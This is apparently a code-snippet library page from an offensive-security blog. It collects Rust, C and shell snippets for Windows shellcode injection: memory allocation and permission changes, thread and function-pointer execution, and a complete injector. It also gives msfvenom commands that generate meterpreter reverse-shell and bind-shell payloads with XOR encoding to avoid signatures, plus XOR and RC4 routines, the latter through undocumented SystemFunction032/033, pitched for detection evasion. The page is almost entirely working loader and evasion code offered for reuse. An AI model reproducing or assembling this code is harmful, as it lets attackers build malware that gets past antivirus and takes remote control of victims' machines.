Code Library

Code Snippets

Collection of useful code snippets extracted from our articles. Search, copy and reuse.

12 snippets
Rust

CreateThread - Execute Shellcode in New Thread

Execute shellcode by creating a new thread at the allocated memory address

// Rust
use std::ptr::{null, null_mut};
use windows_sys::Win32::Foundation::{CloseHandle, GetLastError};
use windows_sys::Win32::System::Memory::{VirtualFree, MEM_RELEASE};
use windows_sys::Win32::System::Threading::{
    CreateThread, WaitForSingleObject, INFINITE,
};

let h_thread = unsafe {
    CreateThread(
        null(),                                                    // Default attributes
        0,                                                         // Default stack size
        Some(std::mem::transmute(shellcode_addr)),                 // Address of shellcode
        null(),                                                    // No parameters
        0,                                                         // Execute immediately
        null_mut(),                                                // No ID
    )
};

if !h_thread.is_null() {
    unsafe {
        WaitForSingleObject(h_thread, INFINITE);
        CloseHandle(h_thread);
    }
} else {
    eprintln!("Error: CreateThread failed ({})", unsafe { GetLastError() });
    unsafe { VirtualFree(shellcode_addr, 0, MEM_RELEASE) };
    return;
}
CreateThread shellcode execution thread WaitForSingleObject +2
View article

Shellcode Injection on Windows

Rust

Function Pointer - Execute Shellcode

Execute shellcode using function pointer instead of CreateThread, more stealthy but blocks main thread

// Rust
// Type alias for better readability
type ShellcodeFunc = fn();

let p_shellcode: ShellcodeFunc = unsafe { std::mem::transmute(shellcode_addr) };
p_shellcode();  // Execute
function pointer shellcode execution stealth evasion +2
View article

Shellcode Injection on Windows

Shell

Msfvenom - Generate Shellcode

Generate x64 Windows shellcode using msfvenom

// Shell
# Basic calc.exe payload
msfvenom --platform windows --arch x64 -p windows/x64/exec CMD=calc.exe -f rust

# Reverse shell TCP
msfvenom --platform windows --arch x64 -p windows/x64/meterpreter/reverse_tcp \
  LHOST=192.168.1.100 LPORT=4444 -f rust

# Bind shell (listen on port)
msfvenom --platform windows --arch x64 -p windows/x64/meterpreter/bind_tcp \
  LPORT=4444 -f rust

# Payload with XOR encoding (avoid signatures)
msfvenom --platform windows --arch x64 -p windows/x64/exec CMD=calc.exe \
  -e x64/xor -f rust -i 3
msfvenom shellcode generation payload metasploit +3
View article

Shellcode Injection on Windows

Rust

Complete Shellcode Injector

Full functional shellcode injector using VirtualAlloc, VirtualProtect and CreateThread in Rust

// Rust
use std::io::{self, Read};
use std::ptr::{null, null_mut};
use windows_sys::Win32::Foundation::{CloseHandle, GetLastError};
use windows_sys::Win32::System::Memory::{
    VirtualAlloc, VirtualFree, VirtualProtect,
    MEM_COMMIT, MEM_RELEASE, MEM_RESERVE,
    PAGE_EXECUTE_READ, PAGE_READWRITE,
};
use windows_sys::Win32::System::Threading::{
    CreateThread, WaitForSingleObject, INFINITE,
};

fn main() {
    // Replace with your shellcode from msfvenom -f rust
    let buf: [u8; 276] = [
        0xfc, 0x48, 0x83, 0xe4, 0xf0, 0xe8, 0xc0, 0x00,
        // [... your shellcode here ...]
    ];

    let shellcode_size = buf.len();
    println!("[*] Size: {} bytes\n", shellcode_size);

    // STEP 1: Allocate memory
    let shellcode_addr = unsafe {
        VirtualAlloc(
            null(),
            shellcode_size,
            MEM_COMMIT | MEM_RESERVE,
            PAGE_READWRITE,
        )
    };

    if shellcode_addr.is_null() {
        println!("[!] VirtualAlloc failed");
        return;
    }
    println!("[+] Memory at: {:?}", shellcode_addr);

    // STEP 2: Copy shellcode
    unsafe {
        std::ptr::copy_nonoverlapping(
            buf.as_ptr(),
            shellcode_addr as *mut u8,
            shellcode_size
        );
    }
    println!("[+] Shellcode copied");

    // STEP 3: Change permissions
    let mut old_protect: u32 = 0;
    let result = unsafe {
        VirtualProtect(
            shellcode_addr,
            shellcode_size,
            PAGE_EXECUTE_READ,
            &mut old_protect
        )
    };

    if result == 0 {
        println!("[!] VirtualProtect failed");
        unsafe { VirtualFree(shellcode_addr, 0, MEM_RELEASE) };
        return;
    }
    println!("[+] Permissions changed");

    // STEP 4: Execute
    let h_thread = unsafe {
        CreateThread(
            null(),
            0,
            Some(std::mem::transmute(shellcode_addr)),
            null(),
            0,
            null_mut(),
        )
    };

    if !h_thread.is_null() {
        unsafe {
            WaitForSingleObject(h_thread, INFINITE);
            CloseHandle(h_thread);
        }
    }
}
shellcode injector complete VirtualAlloc VirtualProtect +4
View article

Shellcode Injection on Windows

Rust

VirtualAlloc - Reserve Memory for Shellcode

Allocate memory with VirtualAlloc for shellcode injection, using MEM_COMMIT | MEM_RESERVE with PAGE_READWRITE

// Rust
use std::ptr::null;
use windows_sys::Win32::Foundation::GetLastError;
use windows_sys::Win32::System::Memory::{
    VirtualAlloc, MEM_COMMIT, MEM_RESERVE, PAGE_READWRITE,
};

let shellcode_size = buf.len();

let shellcode_addr = unsafe {
    VirtualAlloc(
        null(),                              // Windows chooses the address
        shellcode_size,                      // Number of bytes to reserve
        MEM_COMMIT | MEM_RESERVE,            // Both flags combined
        PAGE_READWRITE,                      // Initial permissions
    )
};

if shellcode_addr.is_null() {
    eprintln!("Error: VirtualAlloc failed ({})", unsafe { GetLastError() });
    return;
}
VirtualAlloc memory allocation shellcode injection +4
View article

Shellcode Injection on Windows

Rust

VirtualProtect - Change Memory to Executable

Change memory permissions from PAGE_READWRITE to PAGE_EXECUTE_READ after copying shellcode

// Rust
use windows_sys::Win32::Foundation::GetLastError;
use windows_sys::Win32::System::Memory::{
    VirtualProtect, VirtualFree, PAGE_EXECUTE_READ, MEM_RELEASE,
};

// Copy shellcode to memory
unsafe {
    std::ptr::copy_nonoverlapping(buf.as_ptr(), shellcode_addr as *mut u8, shellcode_size);
}

// Change permissions to executable
let mut old_protect: u32 = 0;
let result = unsafe {
    VirtualProtect(
        shellcode_addr,             // Address to change
        shellcode_size,             // Size
        PAGE_EXECUTE_READ,          // New permissions
        &mut old_protect,           // Save previous permissions
    )
};

if result == 0 {
    eprintln!("Error: VirtualProtect failed ({})", unsafe { GetLastError() });
    unsafe { VirtualFree(shellcode_addr, 0, MEM_RELEASE) };
    return;
}
VirtualProtect PAGE_EXECUTE_READ memory permissions shellcode +3
View article

Shellcode Injection on Windows

C

XOR Dynamic Key - Index-Based Encryption

Encrypt/decrypt shellcode using XOR with a dynamic key that changes based on byte position (key + index).

// C
/**
 * Encrypts/Decrypts using dynamic XOR
 * The key changes for each byte: (bKey + i) where i is the index
 *
 * Parameters:
 *  - pShellcode: Pointer to buffer
 *  - sShellcodeSize: Size of shellcode
 *  - bKey: Base key
 */
VOID XorByIndexKey(IN PBYTE pShellcode, IN SIZE_T sShellcodeSize, IN BYTE bKey) {
    for (size_t i = 0; i < sShellcodeSize; i++) {
        pShellcode[i] = pShellcode[i] ^ (bKey + i);
    }
}
XOR encryption obfuscation shellcode +2
View article

XOR Encryption: Breaking Down Encryption and Evading Signatures

C

XOR Multiple Keys - Rotor Encryption

Encrypt/decrypt shellcode using XOR with a key array that rotates cyclically. Provides 256^keySize combinations.

// C
/**
 * Encrypts/Decrypts using XOR with key array (rotor)
 * The key repeats cyclically through the shellcode
 *
 * Parameters:
 *  - pShellcode: Pointer to shellcode buffer
 *  - sShellcodeSize: Size of shellcode
 *  - pKeyBuffer: Pointer to array of bytes containing the key
 *  - sKeySize: Size of the key array
 */
VOID XorByMultipleKeys(IN PBYTE pShellcode, IN SIZE_T sShellcodeSize,
                       IN PBYTE pKeyBuffer, IN SIZE_T sKeySize) {
    for (size_t i = 0, j = 0; i < sShellcodeSize; i++) {
        pShellcode[i] = pShellcode[i] ^ pKeyBuffer[j];

        // Rotate the key index
        j = (j + 1) % sKeySize;
    }
}
XOR encryption obfuscation shellcode +3
View article

XOR Encryption: Breaking Down Encryption and Evading Signatures

C

XOR Single Key - Basic Shellcode Encryption

Encrypt/decrypt shellcode using XOR with a single-byte key. Simple but only 256 possible keys.

// C
/**
 * Encrypts/Decrypts a shellcode using XOR with a single-byte key
 *
 * Parameters:
 *  - pShellcode: Pointer to buffer containing the shellcode
 *  - sShellcodeSize: Size in bytes of the shellcode
 *  - bKey: A byte that acts as the key
 */
VOID XorByOneKey(IN PBYTE pShellcode, IN SIZE_T sShellcodeSize, IN BYTE bKey) {
    for (size_t i = 0; i < sShellcodeSize; i++) {
        pShellcode[i] = pShellcode[i] ^ bKey;
    }
}
XOR encryption obfuscation shellcode +2
View article

XOR Encryption: Breaking Down Encryption and Evading Signatures

Rust

RC4 Pure Rust Implementation - Complete

Full RC4 encryption/decryption implementation in pure Rust with context, KSA, and PRGA functions. Cross-platform compatible.

// Rust
use std::io::{self};

#[derive(Clone)]
struct Rc4Context {
    i: u8,
    j: u8,
    s: [u8; 256],
}

impl Rc4Context {
    fn new() -> Self {
        Rc4Context {
            i: 0,
            j: 0,
            s: [0; 256],
        }
    }
}

fn rc4_init(context: &mut Rc4Context, key: &[u8]) {
    // Initialize S-box: [0, 1, 2, ..., 255]
    for i in 0..256 {
        context.s[i] = i as u8;
    }

    // KSA permutation: shuffles S-box using the key
    let mut j: u8 = 0;
    for i in 0..256 {
        j = j.wrapping_add(context.s[i]).wrapping_add(key[i % key.len()]);
        context.s.swap(i, j as usize);
    }

    context.i = 0;
    context.j = 0;
}

fn rc4_cipher(context: &mut Rc4Context, input: &[u8], output: &mut [u8]) {
    assert_eq!(input.len(), output.len(), "Input and output must have the same size");

    for (in_byte, out_byte) in input.iter().zip(output.iter_mut()) {
        // Generate the next pseudorandom index
        context.i = context.i.wrapping_add(1);
        context.j = context.j.wrapping_add(context.s[context.i as usize]);

        // Swap elements in the S-box
        context.s.swap(context.i as usize, context.j as usize);

        // Generate sequence byte and XOR
        let k_index = (context.s[context.i as usize] as u16 + context.s[context.j as usize] as u16) % 256;
        *out_byte = in_byte ^ context.s[k_index as usize];
    }
}

fn main() {
    let payload = vec![
        0x55, 0x89, 0xE5, 0x83, 0xEC, 0x10, 0xC7, 0x45, 0xF8, 0x00, 0x00, 0x00, 0x00,
        0x8B, 0x45, 0xF8, 0x83, 0xC0, 0x01, 0x89, 0x45, 0xF8, 0x8B, 0x45, 0xF8
    ];

    let rc4_key = b"malghost123";
    let mut encrypted = vec![0u8; payload.len()];
    let mut decrypted = vec![0u8; payload.len()];

    println!("[*] RC4 Encryption/Decryption Demonstration");
    println!("[*] Payload size: {} bytes\n", payload.len());

    // Show original
    print!("[+] ORIGINAL PAYLOAD:\n    ");
    for byte in &payload {
        print!("{:02x} ", byte);
    }
    println!("\n\nPress ENTER to continue...");
    let mut input = String::new();
    io::stdin().read_line(&mut input).unwrap();

    // STEP 1: Encryption
    println!("\n[*] Encrypting with RC4...");

    let mut ctx1 = Rc4Context::new();
    rc4_init(&mut ctx1, rc4_key);
    rc4_cipher(&mut ctx1, &payload, &mut encrypted);

    print!("[+] ENCRYPTED PAYLOAD:\n    ");
    for byte in &encrypted {
        print!("{:02x} ", byte);
    }
    println!("\n\nPress ENTER to continue...");
    let mut input = String::new();
    io::stdin().read_line(&mut input).unwrap();

    // STEP 2: Decryption
    println!("\n[*] Decrypting with RC4...");

    let mut ctx2 = Rc4Context::new();
    rc4_init(&mut ctx2, rc4_key);
    rc4_cipher(&mut ctx2, &encrypted, &mut decrypted);

    print!("[+] DECRYPTED PAYLOAD:\n    ");
    for byte in &decrypted {
        print!("{:02x} ", byte);
    }
    println!();

    // Verification
    if payload == decrypted {
        println!("\n[✓] Verification SUCCESSFUL: Decrypted matches original");
    } else {
        println!("\n[!] Verification FAILED: Data corrupted");
    }

    println!("\n\nPress ENTER to exit...");
    let mut input = String::new();
    io::stdin().read_line(&mut input).unwrap();
}
RC4 encryption stream cipher obfuscation +4
View article

RC4 Encryption: From Cryptographic Theory to Practical Implementation

Rust

RC4 SystemFunction032 - Native Windows API

RC4 encryption using native Windows API (SystemFunction032). Undocumented but available since Windows XP. Smaller footprint and fewer signatures.

// Rust
use windows::core::PCSTR;
use windows::Win32::System::LibraryLoader::{LoadLibraryA, GetProcAddress};

#[repr(C)]
struct USTRING {
    length: u32,
    maximum_length: u32,
    buffer: *mut u8,
}

type SystemFunction032Fn = unsafe extern "system" fn(
    *mut USTRING,
    *mut USTRING,
) -> i32;

fn rc4_encryption_via_systemfunc032(
    rc4_key: &[u8],
    payload_data: &mut [u8],
) -> bool {
    unsafe {
        let advapi32 = match LoadLibraryA(PCSTR(b"Advapi32.dll\0".as_ptr())) {
            Ok(lib) => lib,
            Err(_) => {
                println!("[!] Failed to load Advapi32");
                return false;
            }
        };

        if advapi32.is_invalid() {
            println!("[!] Invalid Advapi32 handle");
            return false;
        }

        let system_function_032 = GetProcAddress(
            advapi32,
            PCSTR(b"SystemFunction032\0".as_ptr()),
        );

        if system_function_032.is_none() {
            println!("[!] Failed to get SystemFunction032");
            return false;
        }

        let mut data = USTRING {
            length: payload_data.len() as u32,
            maximum_length: payload_data.len() as u32,
            buffer: payload_data.as_mut_ptr(),
        };

        let mut key = USTRING {
            length: rc4_key.len() as u32,
            maximum_length: rc4_key.len() as u32,
            buffer: rc4_key.as_ptr() as *mut u8,
        };

        let func: SystemFunction032Fn = std::mem::transmute(system_function_032.unwrap());
        let status = func(&mut data, &mut key);

        if status != 0 {
            println!("[!] SystemFunction032 failed: 0x{:08X}", status);
            return false;
        }

        println!("[+] RC4 encryption successful with SystemFunction032");
        true
    }
}

fn main() {
    let mut payload = vec![
        0x4D, 0x5A, 0x90, 0x00, 0x03, 0x00, 0x00, 0x00,
        0x04, 0x00, 0x00, 0x00, 0xFF, 0xFF, 0x00, 0x00,
        0xB8, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00
    ];

    let rc4_key = b"malghost123";

    println!("[*] RC4 encryption using SystemFunction032");
    println!("[+] Size: {} bytes\n", payload.len());

    // Show original
    print!("[*] ORIGINAL:\n    ");
    for byte in &payload {
        print!("{:02x} ", byte);
    }
    println!("\n");

    // Encrypt
    if !rc4_encryption_via_systemfunc032(rc4_key, &mut payload) {
        println!("[!] Encryption error");
        return;
    }

    print!("[+] ENCRYPTED:\n    ");
    for byte in &payload {
        print!("{:02x} ", byte);
    }
    println!("\n");

    // Decrypt (RC4 is bidirectional)
    if !rc4_encryption_via_systemfunc032(rc4_key, &mut payload) {
        println!("[!] Decryption error");
        return;
    }

    print!("[+] DECRYPTED:\n    ");
    for byte in &payload {
        print!("{:02x} ", byte);
    }
    println!();
}
RC4 SystemFunction032 Windows API undocumented API +4
View article

RC4 Encryption: From Cryptographic Theory to Practical Implementation

Rust

RC4 SystemFunction033 - Alternative Native Windows API

RC4 encryption using SystemFunction033, the twin sister of SystemFunction032. Same functionality, alternative implementation for detection evasion.

// Rust
use windows::core::PCSTR;
use windows::Win32::System::LibraryLoader::{LoadLibraryA, GetProcAddress};

#[repr(C)]
struct USTRING {
    length: u32,
    maximum_length: u32,
    buffer: *mut u8,
}

type SystemFunction033Fn = unsafe extern "system" fn(
    *mut USTRING,
    *mut USTRING,
) -> i32;

fn rc4_encryption_via_systemfunc033(
    rc4_key: &[u8],
    payload_data: &mut [u8],
) -> bool {
    unsafe {
        // Load Advapi32.dll
        let advapi32 = match LoadLibraryA(PCSTR(b"Advapi32.dll\0".as_ptr())) {
            Ok(lib) => lib,
            Err(_) => {
                println!("[!] Failed to load Advapi32");
                return false;
            }
        };

        if advapi32.is_invalid() {
            println!("[!] Invalid Advapi32 handle");
            return false;
        }

        // Get address of SystemFunction033
        let system_function_033 = GetProcAddress(
            advapi32,
            PCSTR(b"SystemFunction033\0".as_ptr()),
        );

        if system_function_033.is_none() {
            println!("[!] Failed to get SystemFunction033");
            return false;
        }

        // Create USTRING structures (different order)
        let mut key = USTRING {
            length: rc4_key.len() as u32,
            maximum_length: rc4_key.len() as u32,
            buffer: rc4_key.as_ptr() as *mut u8,
        };

        let mut data = USTRING {
            length: payload_data.len() as u32,
            maximum_length: payload_data.len() as u32,
            buffer: payload_data.as_mut_ptr(),
        };

        // Call SystemFunction033
        let func: SystemFunction033Fn = std::mem::transmute(system_function_033.unwrap());
        let status = func(&mut data, &mut key);

        if status != 0 {
            println!("[!] SystemFunction033 failed: 0x{:08X}", status);
            return false;
        }

        println!("[+] RC4 encryption successful with SystemFunction033");
        true
    }
}

fn main() {
    let mut payload = vec![
        0x4D, 0x5A, 0x90, 0x00, 0x03, 0x00, 0x00, 0x00,
        0x04, 0x00, 0x00, 0x00, 0xFF, 0xFF, 0x00, 0x00,
        0xB8, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00
    ];

    let rc4_key = b"malghost123";

    println!("[*] RC4 encryption using SystemFunction033");
    println!("[+] Size: {} bytes\n", payload.len());

    // Show original
    print!("[*] ORIGINAL:\n    ");
    for byte in &payload {
        print!("{:02x} ", byte);
    }
    println!("\n");

    // Encrypt
    if !rc4_encryption_via_systemfunc033(rc4_key, &mut payload) {
        println!("[!] Encryption error");
        return;
    }

    print!("[+] ENCRYPTED:\n    ");
    for byte in &payload {
        print!("{:02x} ", byte);
    }
    println!("\n");

    // Decrypt (RC4 is bidirectional)
    if !rc4_encryption_via_systemfunc033(rc4_key, &mut payload) {
        println!("[!] Decryption error");
        return;
    }

    print!("[+] DECRYPTED:\n    ");
    for byte in &payload {
        print!("{:02x} ", byte);
    }
    println!();
}
RC4 SystemFunction033 Windows API undocumented API +5
View article

RC4 Encryption: From Cryptographic Theory to Practical Implementation